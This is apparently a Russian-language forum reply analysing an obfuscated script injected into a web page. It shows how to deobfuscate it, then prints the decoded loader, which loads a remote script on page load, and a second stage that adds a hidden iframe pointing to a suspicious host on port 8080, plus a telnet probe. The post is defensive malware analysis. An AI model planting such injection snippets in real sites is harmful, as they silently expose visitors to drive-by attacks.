>Тут видно, что идет куча замен и проч. Как понять, чего этот скрипт вообще делает и насколько он опасен? Сохрани текст в файл. Потом выполни
tr -d '#|\\|\^|@|\$|\!||&' <file.txt >output.txt
Я особо не заморачивался - вручную выкосил ненужные скобки ()
и вот что получилось (с косметическими правками):
<script>/*LGPL*/
try{
window.onload = function(){
var Y0r5c4wy2fixek = document.createElement('script');
Y0r5c4wy2fixek.setAttribute('defer', 'defer');
Y0r5c4wy2fixek.setAttribute('type', 'text/javascript');
Y0r5c4wy2fixek.setAttribute('id', 'C9kton70qw');
Y0r5c4wy2fixek.setAttribute('src',
'http://topshareware-com.slideshare.net.clarin-com.thechocola.../');
if (document)
{
document.body.appendChild(Y0r5c4wy2fixek);
}
}
}
catch(Mxbfhbj5q04qxno71yp2)
{
}
</script>
В двух словах: создаёт новый элемент типа javascript, назначает ему адрес.
По указанному адресу другой кусок яваскрипта. После приведения в "нормальный" вид имеем:
Mtpnq14 = 'topshareware-com.slideshare.net.clarin-com.thechocolateweb.ru';
f = document.createElement('iframe');
f.src = 'http://'+Mtpnq14+':8080/index.php?ys';
f.style.visibility = 'hidden';
document.body.appendChild(f);
То есть, создаётся скрытый фрейм, адрес которого:
http://topshareware-com.slideshare.net.clarin-com.thechocola...
По указанному адресу ничего не выдаётся (ответ нулевой длины)
$ telnet topshareware-com.slideshare.net.clarin-com.thechocolateweb.ru 8080
Trying 91.121.49.129...
Connected to opshareware-com.slideshare.net.clarin-com.thechocolateweb.ru.
Escape character is '^]'.
GET /index.php?ys
Connection closed by foreign host.
Дальше колупаться лень, пусть колупаются кому интересно - гики или представители правоохранительных органов, если это все не счётчик, а "распространение ПО, нарушающего работоспособность ЭВМ или ЛВС".
Вариант для распечатки
Программирование под UNIX (Public)
on 08-Янв-10, 13:33 
